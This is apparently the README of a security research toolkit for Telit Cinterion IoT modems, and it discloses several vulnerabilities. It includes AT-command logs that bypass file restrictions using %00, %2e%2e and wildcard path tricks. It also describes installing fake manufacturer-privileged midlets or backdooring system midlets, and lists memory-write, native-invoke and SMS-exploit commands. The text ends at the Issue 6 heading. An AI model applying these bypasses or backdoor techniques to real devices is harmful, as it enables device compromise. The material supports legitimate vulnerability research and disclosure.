```
# Telit Cinterion toolkit [DGL61-W, ELS61-E]
# (c) Security Explorations 2016-2019 Poland
# (c) AG Security Research 2019-2023 Poland
```
*Last update: 19-04-2023*
# INTRODUCITON
This Proof of Concept demonstrates initial research results pertaining to the security
analysis of Telit Cinterion IoT (formerly of Thales ownership) and DGL61-W device in
particular.
Initial approach to device testing assumed minimal interaction with the mobile
network. The goal was not to expose information to any 3rd party (such as the
mobile network operator or attackers present there) about the research or the
potential vulnerabilities and attack directions explored.
As such, if there was a need to send a message to the target device, proper means
has been taken to make it unreadable to any 3rd party (either through implementing
encrypted SMS layer or through local SMS sending).
## MOTIVATION
In 2020, a vulnerability (CVE-2020-15858) in multiple Cinterion devices was discoverd
by Adam Laurie and Grzegorz Wypych of IBM X-Force Red:
https://securityintelligence.com/posts/new-vulnerability-could-put-iot-devices-at-risk/
The issue was described as allowing for organizational secrets theft and Java aplication
code access. The use of Java triggered my attention in particular.
Historically, Java flaws could be successfully exploited for a more in-depth investigation
of many interesting targets (mobile phones, smart cards, set-top-boxes, cloud environments,
databases, etc.). I had a feeling this could be the case for Cinterion as well.
## TARGET DEVICE
Target device that has been the subject of the testing had the following SW version:
```
telcin> devinfo
Cinterion
PLS62-W
REVISION 02.010
A-REVISION 01.000.05
```
Below, information about device boot loader is shown:
```
telcin> bootinfo
Bootloader filename : XMM7160_BOOTLOADER_VERSION_1732_401
Bootloader version name : 1732.401_M1S1
Version : 0x6c40191
Version inverted : 0xf93bfe6e
```
The following connections were exposed by the device to the host:
```
telcin> portinfo
[0] COM16 (Cinterion ELSx USB Com Port2 (COM16))
[1] COM18 (Cinterion ELSx do_not_use (COM18))
[2] COM15 (Cinterion ELSx USB Com Port1 (COM15))
[3] COM17 (Cinterion ELSx USB Com Port3 (COM17))
```
By default, connection 2 was always used by the command shell:
```
telcin> connect 2
BAUD RATE: 3000000
connected to [2] COM15 (Cinterion ELSx USB Com Port1 (COM15))
```
For logging purposes `System.out` console output has been redirected to USB device
with the use of the following command:
```
at^scfg="Userware/Stdout","USB2"
```
As a result, `USB Com Port2 (COM16)` could be further used as Java console output
(output of `System.out` stream).
# TOOL DESCRIPTION
Telit Cinterion Toolkit is a reverse engineering tool that has been developed
for the purpose of facilitating the investigation of DGL61-W device operation
and security.
The tool is comprised of two parts:
- command shell executed from a computer connected to the target device
- Agent midlet installed and executed on a target device
## DIRECTORY STRUCTURE
The tool follows directory structure described below:
`android\android` - Android app for arbitrary SMS sending (plaintext and encrypted)
`android\exploit` - exploit for testing ATSJMLED application
`device\DGL61W` - base directory for memory dump
`midlet\_gen` - Unsafe class file generator
`midlet\agent` - Agent midlet code
`midlet\jadgen` - JAD and Agent installer files generators
`lib` - Java native modem interface library
`atsjmled` - ATSJMLED patcher (generator of SMS proxy code)
`asmcodes\asm` - source code for various ASM helpers
`asmcodes\gen` - code for generating Java code with assembly routines embedded
`asmcodes\out` - output source and data files for generated assembly codes
`dmsserver` - custom OMA DMS server
`data` - sample output for various reverse engineered data structures
extracted from the device
`src` - main source code directory
`src\mod` - directory where source code for Cinterion specific module can be found
`classes` - temporary directory where output classes get generated
`scripts` - the scripts directory
`pejava` - helper files for Java privilege elevation of Agent midlet
`logs` - directory with some logs
`FS` - base directory where files downloaded from the device are put (get command)
## BUILDING AND SW DEPENDENCIES
The toolkit was primarily developed and tested in the Windows environment. The android based
tools are the exception (developed and tested on Linux Ubuntu with Samsung Android phone).
Toolkit command shell requires Oracle Java (or Amazon Coretto) along Microsoft Visual Studio
to build.
Midlets are built with the use of Gemalto M2M Software Development Kit.
ASM codes are built with the use of ARM GNU Toolchain.
The main package comes prebuilt (with all binaries ready to be used).
The code follows the following nomenclature:
- `config.bat` script in the root directory defines all required paths for Java and Windows
based build
there are 3 additional config files in subdirectories for helper tools (`asmcodes`, `midlet`,
`midlet\jadgen`)
- `vcinit.bat` defines the paths required to build the modem library
- `build.bat` script is used to build code from the directory embedding it
- `shell.bat` script is used to toolkit launch command line shell
- `run.bat` script is used to run independent tools (generators and helpers)
### BUILDING TOOLKIT SHELL
Upon adjusting of all the paths in `config.bat`, the following output should be displayed upon
successful build of a toolkit shell:
```
c:\_RESEARCH\TELIT.M2M>build
'nmake' is not recognized as an internal or external command,
operable program or batch file.
*** Compiling source files ***
src\helpers\Web.java:38: warning: MessageHeader is internal proprietary API and
may be removed in a future release
public static class CleanMessageHeader extends MessageHeader {
^
Note: Some input files use unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.
1 warning
*** Preparing jar files ***
*** cleaning temporary files ***
```
As a result, `shell.jar` file should be generated in the main directory.
### BUILDING MIDLET CODE
Upon adjusting of all the paths in `config.bat`, the following output should be displayed upon
successful build of a midlet code (Agent midlet):
```
c:\_RESEARCH\TELIT.M2M\midlet>build
*** Building ASM codes ***
- Compiling athandler
- Compiling cntcond
- Compiling getcpsr
- Compiling getmidr
- Compiling getsctlr
- Compiling handler
- Compiling invoke
- Compiling memcopy
- Compiling memprobe
- Compiling regprobe
- Compiling retmagic
- Compiling rthook
- Compiling template
- Compiling trace
- Compiling tracefile
*** Building GenAsm ***
*** Generating ASM codes ***
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\athandler.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\cntcond.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\getcpsr.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\getmidr.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\getsctlr.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\handler.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\invoke.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\memcopy.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\memprobe.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\regprobe.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\retmagic.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\rthook.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\template.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\trace.o
processing: c:\_RESEARCH\TELIT.M2M\asmcodes\out\tracefile.o
*** Building GenJad ***
*** Building Midlets ***
## Compiling agent
warning: [options] source value 1.3 is obsolete and will be removed in a future
release
warning: [options] target value 1.3 is obsolete and will be removed in a future
release
warning: [options] To suppress warnings about obsolete options, use -Xlint:-opti
ons.
3 warnings
- preverifying
- generating Unsafe class
- loading class: c:\_RESEARCH\TELIT.M2M\midlet\agent\build\agsecres\midlet\Unsa
fe.class
- patching method: obj2int
* org bytecode
1c
ac
* new bytecode
1b
ac
- patching method: int2array
* org bytecode
2c
b0
* new bytecode
2b
b0
- patching method: obj2accessibleisolate
* org bytecode
2c
b0
* new bytecode
2b
b0
- saving class: c:\_RESEARCH\TELIT.M2M\midlet\agent\build\agsecres\midlet\Unsaf
e.new
1 file(s) copied.
- creating JAR
- generating base JAD / JAR
output JAR file: c:\_RESEARCH\TELIT.M2M\midlet\agent\agent.jar
output JAD file: c:\_RESEARCH\TELIT.M2M\midlet\agent\agent.jad
- embedding installer in agent JAD / JAR
output JAR file: c:\_RESEARCH\TELIT.M2M\midlet\agent\\..\agent\agent.jar
output JAD file: c:\_RESEARCH\TELIT.M2M\midlet\agent\\..\agent\agent.jad
c:\_RESEARCH\TELIT.M2M\midlet>
```
Please, note that the `build.bat` command might ned to be executed twice due to some `kartoffel`
in the paths setup (sorry for that, I will fix that in some later release).
### BUILDING MODEM LIBRARY
If any need arises to change modem library (prebuilt by default), the following output illustrates
how to trigger Java native modem library compilation:
```
c:\_RESEARCH\TELIT.M2M>vcinit.bat
c:\_RESEARCH\TELIT.M2M>call config.bat
**********************************************************************
** Visual Studio 2022 Developer Command Prompt v17.2.6
** Copyright (c) 2022 Microsoft Corporation
**********************************************************************
[vcvarsall.bat] Environment initialized for: 'x64'
c:\_RESEARCH\TELIT.M2M>cd lib
c:\_RESEARCH\TELIT.M2M\lib>build
c:\_RESEARCH\TELIT.M2M\lib>call ..\config.bat
Narzędzie do konserwacji programów firmy Microsoft (R) 14.32.31332.0
Copyright (C) Microsoft Corporation. Wszelkie prawa zastrzeĹĽone.
cl.exe /LD /I "%VSINSTALLDIR%\VC\include" /I "%javadir%\include" /I "%ja
vadir%\include\win32" ModemLib.c
Microsoft (R) C/C++ wersja kompilatora optymalizujÄ…cego 19.32.31332 dla x64
Copyright (C) Microsoft Corporation. Wszystkie prawa zastrzeĹĽone.
ModemLib.c
Microsoft (R) Incremental Linker Version 14.32.31332.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:ModemLib.dll
/dll
/implib:ModemLib.lib
ModemLib.obj
Trwa tworzenie biblioteki ModemLib.lib i obiektu ModemLib.exp
c:\_RESEARCH\TELIT.M2M\lib>
```
## STARTING
The tool can be started by running `shell.bat` script:
```
c:\_RESEARCH\TELIT.M2M>shell
# Telit Cinterion toolkit [DGL61-W, ELS61-E]
# (c) Security Explorations 2016-2019 Poland
# (c) AG Security Research 2019-2023 Poland
loaded cinterion [Cinterion toolkit]
error: not connected to any device
telcin>
```
The shell can be instructed to load a local memory dump for a given device (`-d` option):
```
shell [-d device]
where:
device : [DGL61W ELS61E]
```
From now on, shell commands can be executed in the toolkit shell.
Upon tool startup, the commands included in the `init.scr` script from the
`scripts` directory gets automatically executed.
The initialization script is used to set several configuration variables and
to load tool modules.
## PREDEFINED VARIABLES
The following variables have been implemented by the tool:
```
`INVOKE_Ax` - it denotes the x argument to the most recently used `invoke` command
`INVOKE_RES` - it denotes the result of the most recently used `invoke` command
`FS_DIR` - it denotes the root directory for files downloaded from the device
`MODEM_VERBOSE` - it indicates whether data exchanged over modem interface should be displayed
`EXPLOIT` - it indicates whether Issues 1 and 2 should be automatically exploited while
issuing file system based commands
`SMS_RECV_FUN` - it denotes the number for the method simulating SMS reception
`SMS_SRCADDR` - it denotes the number used as source of SMS messages
`SMS_SCADDR` - it denotes the number used for SMS Service Center address
```
## COMMANDS DESCRIPTION
The list of all commands implemented by the tool can be obtained with the use of `help` command.
For each command, brief information about the arguments taken is displayed.
Below, more details regarding each command is given:
- show available commands with brief arguments' description
```
help [cmd]
```
- redirect shell output to file (or back to console)
```
output console|filename
```
- declare variable of a given name and type
```
var varname str|int
```
- set the value of a given variable
```
set [varname|varname value]
```
- enable / disable echo
```
echo on|off
```
- print a line to the output containing argument
```
print arg1 arg2 ... argn
```
- run commands defined in a script file
```
run arg1 arg2 ... argn
```
- check the number of arguments provided to the script or variable definition
break execution and report error if condition is not satisfied
```
assert -a argnum|-v varname [-e errormsg]
```
- load or check status of a loading for a given named module
```
mod module
```
- pure test command
```
test arg
```
- sleep (wait) for given amount of milliseconds
```
sleep milisec
```
- show USB COM ports information
```
portinfo
```
- connect to Cinterion device available at given COM port index
```
connect idx
```
- disconnect from current COM port
```
disconnect
```
- issue AT command
```
at cmd
```
- set modem speed
```
modemspeed [speed]
```
- show device information
```
devinfo
```
- show boot loader information
```
bootinfo
```
- list the contents of given directory (`a:/` by default)
```
ls path
```
- show file system stat command output for given path
```
stat path
```
- show file system gstat output
```
gstat
```
- open file (get file handle as a result)
```
open path
```
- read given number of bytes from file handle
```
read handle size
```
- close file denoted by a handle
```
close handle
```
- download given file from device
```
get path
```
- upload given file to device
```
put local_path dev_path
```
- create file directory on a device
```
mkdir path
```
- remove file directory from device
```
rmdir path
```
- remove file from device
```
del path
```
- copy file on a device
```
copy srcpath dstpath
```
- show information about installed (-i) or running (-r) Java applications
```
appinfo [-i][-r]
```
- install application denoted by given JAD file (midlet_path)
```
install midlet_path
```
- uninstall application denoted by given JAD file (midlet_path)
```
uninstall midlet_path
```
- start application denoted by given JAD file (midlet_path)
```
start midlet_path
```
- stop application denoted by given JAD file (midlet_path)
```
stop midlet_path
```
- show device IMEI
```
imei
```
- show IMSI of a SIM/UICC card
```
imsi
```
- show CCID of a SIM/UICC card
```
ccid
```
- show Java Virtual Machine class information, show visible (-v), hidden (-h), classes with native methods (-n) or classes from a given package (-p), do verbose class dump (-d)
```
cwmclasses [-d][-v][-h][-n][-p pkgname]
```
- show information about given Java Virtual Machine class
```
cwmclass classname
```
- show restricted Java Virtual Machine packages
```
restrictpkgs
```
- show Java Virtual Machine bytecodes and their dispatch addresses
```
bytecodes
```
- show UtaOS threads
```
threads
```
- show information about given UtOS thread
```
thread threadname
```
- show UtaOS queues
```
queues
```
- show information about UtaOS queues
```
queue queuename
```
- show information about test interfaces
```
interfaces
```
- show more detailed information about given test interface
```
interface ifname
```
- show information about implemented AT commands and their dispatch addresses
```
atcmds
```
- show information about system URCs and their dispatch addresses
```
sysurcs
```
- show information about MBIM specific URCs and their dispatch addresses
```
mbimurcs
```
- show information about MBIM commands
```
mbimcmds
```
- show information about MBIM commands
```
mbimcmd desc
```
- show information about signal queues
```
sigqueues
```
- show information about given signal queue
```
sigqueue id
```
- show information about file systems
```
filesystems
```
- show more detailed information about given file system
```
filesystem fsname
```
- show information about tracing subsystem
```
bbsystrace
```
- show system config information
```
scfginfo
```
- show information about handles
```
handles
```
- show more detailed information about given handle
```
handle name
```
- show some information about CPS apis
```
cpsapis
```
- show heap information (not working)
```
heapinfo
```
- check midlet agent install / execution status
```
agent
```
- ping agent midlet
```
ping
```
- show Java isolates information
```
isolates
```
- show Java suites information
```
suites
```
- show Java permission for given midlet
```
perms midlet_name
```
- print memory content for given addr and size
```
dmem addr size
```
- write given memory content to device
```
wmem addr hexdata
```
- extract memory from device
```
extractmem
```
- print ARM CPU information
```
cpuinfo
```
- enable more detailed logging, clear (-c) the contents of a trace log
```
tracelog [-c]
```
- invoke native code at a memory address with given arguments
```
invoke addr a1 a2 a3 a4 a5 a6 a7 a8
```
- allocate heap memory
```
malloc size
```
- free heap memory
```
free addr
```
- show agent variable memory address
```
avarmem
```
- set the value of a given agent variable (it can denote an int value or an array of data)
```
avset -i varid [-v val | -d hexstr]
```
- get the value of a given agent variable
```
avget -i varid
```
- setup tracing to `a:/trace.txt` file, start string the trace log upon encountering the given
4 byte prefix (log_init_chars)
```
tracefile [-i log_init_chars]
```
- the command for enabling , launching product test functionality (not working)
```
ptest [-s devpath -v val][-e][-d][-c cmd]
```
- select memory mode between device or offline (from file) memory
```
memory mode
```
- search for a given string in memory
```
srchs string
```
- search for LDR instruction locations referring to given memory location
```
srchldr addr
```
- search for ADR instruction locations referring to given memory location
```
srchadr addr
```
- search for memory locations containing given int (address) value
```
srchw value
```
- search for ADR instruction locations referring to given memory location
```
srchbl addr
```
- command for testing the parsing of a hook expression
```
testexp expression
```
- setup a dummy hook procedure, a dummy hook is composed of the address location, which can be
hooked that contains pointer to dummy (no op) subroutine call
```
dummyproc
```
- setup and control runtime hook
```
hook [-c addr -f entry|exit -h handlers][-l][-e id][-d id][-i id][-u id][-p id]
```
- simulate reception of SMS PDU (provide user data as hex or string)
```
recvsms [-r pdu][-p pid][-c dcs][-d hexdata | -s string]
```
- simulate reception of OMA DM message (notification or provisioning)
```
recvdmmsg [-n serverid][-p serverurl]
```
- load or store OMA DM config from / to NVM
```
omadmcfg [-l file][-s file][-p]
```
- display WBXML for OMA DM provisioning message and given url value
```
provdoc url
```
- show system heap information such as the first and last chunk addresses along total allocation size
```
heapinfo
```
- show heap chunk information identified by given ptr
```
ptrinfo ptr
```
- show heap chunk information for a given number of chunks identified by a given ptr (in a forward
or backward fashion)
```
heapchain ptr [-f][-b][-c cnt]
```
- show state of the heap starting from a given ptr, save or load heap state to file (-s or -l),
filter displayed chunks by expression (-f) or match for the presence of a given word (-m) in
the allocated chunks
```
heapstate [-p ptr] [-l file] [-s file][-f filter][-m match_desc]
```
- simulate reception of an SMS fragment (a part of a concatenated SMS)
```
recvfrag -f frag_desc -i id [-d hexdata | -s string]
```
- show global state of a concatenated SMS reception (number of fragments received, `concatmem`, etc.)
```
smsfrags
```
- show information about OMA DM structure holding various implementation pointers
```
dmstruc
```
- execute `createdirtest` asmcode on the device
```
createdirtest
```
- dump OMA DM tree content
```
dmtree
```
- show information about OMA DM tree plugin identified by addr
```
dmplugin addr
```
- search OMA DM tree plugin entries for a node identified by given uri
```
dmsrch addr uri
```
- set OMA DM tree's server entry to given uri
```
dmserver addr uri
```
- generate the content of SMS fragment used for triggering Issue 18 exploitation
```
genexpfrag alert_callback_addr
```
- check result of a file / directory open with the use of Java based API (`Connector.open` call)
```
checkopen path
```
- exploit Java vulnerabilities and make Agent midlet privileged (fast track exploit path for `ELS61-E`
and devices missing `ATCommand` class)
```
pejava
```
## INITIAL VULNERABILITIES
Below, brief information pertaining to initial vulnerabilities discovered in DGL61-W
modem device is provided.
Please note that some issues might require more investigation and/or checking.
### ISSUE 1 - ACCESS TO RESTRICTED FILES
By default, access to certain file extensions such as `.jad` and `.jar` is prohibited.
This is illustrated by the log below:
```
telcin> set EXPLOIT 0
telcin> ls
[a:/]
ERROR: invalid access
ATSJMLED.jad --- -1
ERROR: invalid access
ATSJMLED.jar --- -1
ERROR: invalid access
agent.jar --- -1
ERROR: invalid access
agent.jad --- -1
telcin> set MODEM_VERBOSE 1
telcin> get a:/ATSJMLED.jad
-> CMD at^sfsa="stat","a:/ATSJMLED.jad"
<- RSP
^SFSA: 13
ERROR
ERROR: invalid access
telcin> get a:/ATSJMLED.jar
-> CMD at^sfsa="stat","a:/ATSJMLED.jar"
<- RSP
^SFSA: 13
ERROR
ERROR: invalid access
```
However, upon appending the %00 character sequence corresponding to the zero byte, it
is possible to such access restricted files:
```
telcin> set EXPLOIT 1
telcin> get a:/ATSJMLED.jad
-> CMD at^sfsa="stat","a:/ATSJMLED.jad%00"
<- RSP
^SFSA: 350
^SFSA: "18/01/01,00:00:54"
^SFSA: 1
^SFSA: 0
OK
-> CMD at^sfsa="open","a:/ATSJMLED.jad%00",64
<- RSP
^SFSA: 0,0
OK
-> CMD at^sfsa="read",0,1500
<- RSP
downloading a:/ATSJMLED.jad
[###############################]
-> CMD at^sfsa="close",0
<- RSP
^SFSA: 0
OK
```
The issue with %00 character sequence is more generic though. The issue can be exploited to
escape the root dir designated for Java VM applications. More specifically, the use of %2e%2e
character sequence makes it possible to list directories above the current application root:
```
telcin> ls a:/%2e%2e/
[a:/%2e%2e/]
roota/ dh- 0
rootb/ dh- 0
```
### ISSUE 2 - ACCESS TO RESTRICTED DIRECTORIES
By default, access to certain file extensions such as those containing `cwmjava` name is prohibited.
This is illustrated by the log below:
```
telcin> set EXPLOIT 0
telcin> set MODEM_VERBOSE 1
telcin> ls a:/cwmjava
-> CMD at^sfsa="ls","a:/cwmjava",1
<- RSP
^SFSA: 101
ERROR
ERROR: invalid path
```
However, upon including the `*` character (making directory name a pattern matching restricted
name) it is possible to access such restricted directories:
```
telcin> ls a:/cwmjava
-> CMD at^sfsa="ls","a:/cwmjav*%00",1
<- RSP
^SFSA: "certstore/"
^SFSA: "00000003.ap"
^SFSA: "00000003.ii"
^SFSA: "00000003.jar"
^SFSA: "00000003.ss"
^SFSA: "00000005.ap"
^SFSA: "00000005.ii"
^SFSA: "00000005.jar"
^SFSA: "00000005.ss"
^SFSA: "FFFFFFFFsettings.db"
^SFSA: "_main.ks"
^SFSA: "_suites.dat"
^SFSA: "_trans.dat"
^SFSA: "psk/"
^SFSA: "storage/"
^SFSA: "cfg/"
^SFSA: "jrc/"
^SFSA: "amsbackup/"
^SFSA: "backup/"
^SFSA: "00000007.ii"
^SFSA: "00000007.jar"
^SFSA: "00000007.ap"
^SFSA: "00000007.ss"
^SFSA: "0000000d.ii"
^SFSA: "0000000b.ii"
^SFSA: "0000000f.ii"
^SFSA: "0000000d.ss"
^SFSA: "0000001d.ii"
^SFSA: "0000000b.ss"
^SFSA: "00000007.bkp"
^SFSA: "0000000f.ss"
^SFSA: "00000007.new"
^SFSA: "0000001d.ss"
^SFSA: "00000009.ii"
^SFSA: "00000009.jar"
^SFSA: "00000009.ap"
^SFSA: "00000009.ss"
^SFSA: 0
OK
```
#### NOTES OF ISSUES 1 and 2 ORIGIN
The origin of the issues related to possible access to restricted portions of device's filesystem
(such as `a:/cwmjava`, etc.) was initially assumed to have its origin in a code of `JRC` midlet
and its handling of `SFSA` AT command.
An investigation of the code didn't indicate that the issue has its origin there though:
```
public static int a(JRC_Context jrc_context, String s, boolean flag)
{
JRC_ParameterCharacterMode jrc_parametercharactermode = new JRC_ParameterCharacterMode();
if(s == null)
return 102;
int i;
if((i = (s = s.trim()).length()) == 0)
return 102;
if(jrc_parametercharactermode.getCurrentSetting(jrc_context) == JRC_ParameterCharacterMode.GSM && i + 3 > 127 || jrc_parametercharactermode.getCurrentSetting(jrc_context) == JRC_ParameterCharacterMode.UCS2 && i + 3 > 31)
return 105;
try
{
s = a(s, flag); <----- resolving of hex sequences embedded
in path ("%" char)
}
catch(IllegalArgumentException _ex)
{
return 101;
}
if(s.toLowerCase().indexOf("cwmjava") != -1) <----- check for restricted dir
return 102;
if(s.toLowerCase().indexOf(".cinterion.internal") != -1) <----- check for restricted dir
return 101;
return !(s = s.toUpperCase()).endsWith(".JAD") && <----- check for restricted files
!s.endsWith(".JAR") ? 0 : 13;
}
```
The code above deals with `%` char resolution and does some checks against Java internal
directory and forbidden file extensions (JAD and JAR). A sequence dealing with `*` char
handling embedded in path names couldn't be spotted though...
An additional command was implemented to verify how Java VM handles requests to open files
(how `file://` protocol handler is implemented internally).
Here is the test code:
```
public static void check_open(ByteInput bi,ByteOutput bo) throws Throwable {
Log.msg("check_open");
int open_res=-1;
int list_res=-1;
try {
String path=bi.read_string();
Log.msg("path: "+path);
FileConnection fc=(FileConnection)Connector.open("file:///"+path);
if (fc!=null) {
if (fc.exists()) {
open_res=1;
if (fc.isDirectory()) {
list_res=0;
try {
Enumeration e=fc.list("*",true);
if (e!=null) {
while(e.hasMoreElements()) {
e.nextElement();
list_res++;
}
}
} catch(Throwable t2) {}
}
}
}
} catch(Throwable t) {
Log.msg("check_open exception: "+t);
}
bo.write_4(open_res);
bo.write_4(list_res);
}
```
And below, its results obtained with respect to various paths are provided:
```
telcin> ls
[a:/]
ATSJMLED.jad --r 350
ATSJMLED.jar --r 345412
agent.jar --- 61827
agent.jad --- 416
telcin> checkopen a:/invalid_file
[a:/invalid_file]
* open_res: -1
* list_res: -1
telcin> checkopen a:/agent.jad
[a:/agent.jad]
* open_res: 1
* list_res: -1
telcin> checkopen a:/cwmjava
[a:/cwmjava]
* open_res: 1
* list_res: 35
telcin> checkopen a:/cwmjav*
[a:/cwmjav*]
* open_res: 1
* list_res: 35
telcin> ls a:/cwmjava
[a:/cwmjava]
certstore/ d-- 0
00000003.ap --r 4628
00000003.ii --r 285
00000003.jar --r 588486
00000003.ss --r 42
00000005.ap --r 4360
00000005.ii --r 277
00000005.jar --r 424852
00000005.ss --r 42
FFFFFFFFsettings.db --r 116
_main.ks --r 382
_suites.dat --- 1236
_trans.dat --- 522
psk/ d-- 0
storage/ dh- 0
cfg/ d-- 0
jrc/ d-- 0
amsbackup/ d-- 0
backup/ d-- 0
00000007.ii --r 151
00000007.jar --- 342946
00000007.ap --r 1224
00000007.ss --r 1028
0000000d.ii --- 261
0000000b.ii --- 139
0000000f.ii --- 139
0000000d.ss --- 42
0000001d.ii --- 261
0000000b.ss --- 1028
00000007.bkp --r 345412
0000000f.ss --- 1028
00000007.new --- 342946
0000001d.ss --- 42
0000001D.ap --- 1324
0000001D.jar --- 61827
telcin> checkopen a:/cwmjav*/00000003.jar
[a:/cwmjav*/00000003.jar]
* open_res: 1
* list_res: -1
telcin> checkopen a:/c*/00000003.jar
[a:/c*/00000003.jar]
* open_res: 1
* list_res: -1
telcin> checkopen a:/*/00000003.jar
[a:/*/00000003.jar]
* open_res: -1
* list_res: -1
telcin> checkopen a:/d*/00000003.jar
[a:/d*/00000003.jar]
* open_res: -1
* list_res: -1
telcin> checkopen a:/cwmjav%41/00000003.jar
[a:/cwmjav%41/00000003.jar]
* open_res: 1
* list_res: -1
telcin> checkopen a:/cwmjav%61/00000003.jar
[a:/cwmjav%61/00000003.jar]
* open_res: 1
* list_res: -1
telcin> checkopen a:/cwmjav%62/00000003.jar
[a:/cwmjav%62/00000003.jar]
* open_res: -1
* list_res: -1
telcin>
```
It looks that Java VM `file://` protocol handler resolves paths with respect to both
`%` and `*` characters (!).
This would explain the ability to bypass JRC checks against access to internal dirs. It also
implicates that the issues has its origin in Java VM implementation.
### ISSUE 3 - NO INTEGIRITY / CERTIFICATE CHECK FOR ALREADY INSTALLED PRIVILEGED APPLICATIONS
The `a:/cwmjava` directory contains repository of Java applications and their configuration:
```
telcin> ls a:/cwmjava/
[a:/cwmjava/]
certstore/ d-- 0
00000003.ap --r 4628
00000003.ii --r 285
00000003.jar --r 588486
00000003.ss --r 42
00000005.ap --r 4360
00000005.ii --r 277
00000005.jar --r 424852
00000005.ss --r 42
FFFFFFFFsettings.db --r 116
_main.ks --r 382
_suites.dat --- 1236
_trans.dat --- 522
psk/ d-- 0
storage/ dh- 0
cfg/ d-- 0
jrc/ d-- 0
amsbackup/ d-- 0
backup/ d-- 0
00000007.ii --r 151
00000007.jar --- 342946
00000007.ap --r 1224
00000007.ss --r 1028
0000000d.ii --- 139
0000000b.ii --- 139
0000000f.ii --- 139
0000000d.ss --- 1028
0000001d.ii --- 261
0000000b.ss --- 1028
00000007.bkp --r 345412
0000000f.ss --- 1028
00000007.new --- 342946
0000001d.ss --- 42
00000009.ii --- 261
00000009.jar --- 57053
00000009.ap --- 1324
00000009.ss --- 42
```
Upon installation, each Java application (their `jar` file) is copied into `a:/cwmjava`
directory. At the time of installation, `JAD` and system properties are transferred
into the following files (among others):
- `*.ii` files
these files contain information about app JAD / JAR locations, its privilege domain
and certificates
- `*.jar` files
these are just mirrors of the installed JAR files
- `*.ss` files
these files contain application permissions
There is also `_suites.dat` files that serves as the primary DB for applications installed:
```
telcin> suites
[agent]
suite_id: 9
component_id: 0
storage_id: 0
folder_id: 5
is_enabled: 0
is_trusted: 0
is_temporary: 0
midlets_num: 1
install_time: 0
jad_size: 0
jar_size: 57053
suite_size: 59544
jar_hash_len: -1
component_type: 0
p_jar_hash: 0
midlet_class: agsecres.midlet.Main
display_name: agent
icon_name:
suite_vendor: AGSecRes
suite_version: 1.0
path_to_jar: F:/roota/cwmjava/00000009.jar
path_to_settings:
ext_app_id: -1
[ATSJMLED]
suite_id: 7
component_id: 0
storage_id: 0
folder_id: 5
is_enabled: 0
is_trusted: 0
is_temporary: 0
midlets_num: 1
install_time: 0
jad_size: 0
jar_size: 345412
suite_size: 345412
jar_hash_len: -1
component_type: 0
p_jar_hash: 0
midlet_class: Main
display_name: ATSJMLED
icon_name:
suite_vendor: Mullenger
suite_version: 0.1.27
path_to_jar: F:/roota/cwmjava/00000007.jar
path_to_settings:
ext_app_id: -1
...
```
The system assumes that once the application is installed in a `cwmjava` directory, there
is no need to verify if it is indeed trusted (whether it has been signed by a valid certificate
or if it's content has been changed).
As a result, one can exploit Issue 1 and 2 and:
- proceed with a custom install procedure for the midlet mimicking a trusted one (such as
the one with manufacturer domain property and certificate corresponding to Cinterion)
```
//manufacturer domain
public static final String MANUFACTURER_DOMAIN = "manufacturer";
//Cinterion CA
public static final String CINTERION_CA = "C=DE;ST=Berlin;L=Berlin;O=CINTERION;OU=CINTERION;CN=ehs5";
```
As a result, fully privileged Midlet could be installed in the system (with manufacturer
privileges).
- one can change the operation of system midlets (their bytecode), this can serve as a
potential, system, hidden backdoor location
### ISSUE 4 - APPLICATION START AND INSTALL PRIVILEGES GRANTED FOR UNTRUSTED APPLICATIONS
By default, untrusted midlets (those not signed with any certificate in particular) get access
to application installer and AMS:
```
telcin> perms ATSJMLED
[ATSJMLED]
* javax.microedition.content.ContentHandler [1]
* javax.microedition.io.Connector.ssl [1]
* javax.microedition.midlet.MIDlet.install [1]
* javax.microedition.io.Connector.datagramreceiver [1]
* javax.microedition.location.LandmarkStore.write [1]
* javax.microedition.io.Connector.file.read [1]
* javax.microedition.io.Connector.datagram [1]
* javax.microedition.io.Connector.serversocket [1]
* javax.microedition.location.LandmarkStore.management [1]
* javax.microedition.location.Orientation [1]
* javax.microedition.location.Location [1]
* javax.microedition.location.LandmarkStore.category [1]
* com.sun.ams.SuiteInstaller.start [1]
* javax.microedition.location.LandmarkStore.read [1]
* javax.microedition.io.PushRegistry [1]
* javax.microedition.location.ProximityListener [1]
* javax.microedition.io.Connector.socket [1]
* javax.microedition.io.Connector.http [1]
* javax.microedition.io.Connector.https [1]
* com.sun.ams.SuiteInfo.remove [1]
* javax.microedition.io.Connector.comm [1]
* javax.microedition.io.Connector.file.write [1]
```
This can be abused by the rogue application to install arbitrary, potentially malicious
applications in the system.
The key here is the potential ability to install application content that can slip a
review by the application installer or digital signature check. This is due to the
fact that the applications may install code in a dynamic way - their code may come
from Internet.
### ISSUE 5 - ACCESS TO API DEFINED IN RESTRICTED PACKAGES
The Java Virtual Machine defines several, vendor specific package to which access is
restricted:
```
telcin> restrictpkgs
java/io
java/lang
java/lang/ref
java/util
javax/microedition/io
com/sun/cldc/i18n/uclc
com/sun/cldc/i18n
com/sun/cldc/i18n/j2me
com/sun/cldc/io
com/sun/cldc/util/j2me
com/sun/cldchi/io
com/sun/cldchi/ref
com/sun/cldchi/jvm
com/sun/cldc/isolate
com/oracle/util/logging
com/sun/midp/log
com/sun/midp/appmanager
com/sun/midp/io/j2me
com/sun/midp/io/j2me/comm
com/sun/midp/io/j2me/datagram
...
```
While `com.sun.cldc.isolate` package is on the list, one can still call methods from the
Isolate class defined in the said package (such as `Isolate.getIsolates()`).
### ISSUE 6 - TARGET OS WITH EXECUTABLE MEMORY
